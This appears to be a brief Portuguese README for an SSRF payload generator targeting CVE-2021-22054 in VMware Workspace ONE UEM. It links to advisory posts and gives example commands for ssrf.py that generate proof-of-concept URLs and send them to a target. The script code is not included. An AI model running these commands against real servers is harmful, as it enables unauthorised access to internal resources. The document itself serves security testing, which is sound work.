CVE-2021-22054

Gere payloads SSRF

Referências

https://blog.assetnote.io/2022/04/27/advisory-vmware-workspace-one-uem/

https://blog.assetnote.io/2022/04/27/vmware-workspace-one-uem-ssrf/

Exemplos

# generate POC
python3 ssrf.py --url https://target.com --url https://example.com --airwatch
python3 ssrf.py --url https://target.com --url https://example.com

# generate PPOC and send request
python3 ssrf.py --url https://target.com --url https://example.com --airwatch --request --proxy http://127.0.0.1:8080
python3 ssrf.py --url https://target.com --url https://example.com --airwatch --request --method POST --data '{"a":1}' -H 'Content-Type: application/json" --debug-headers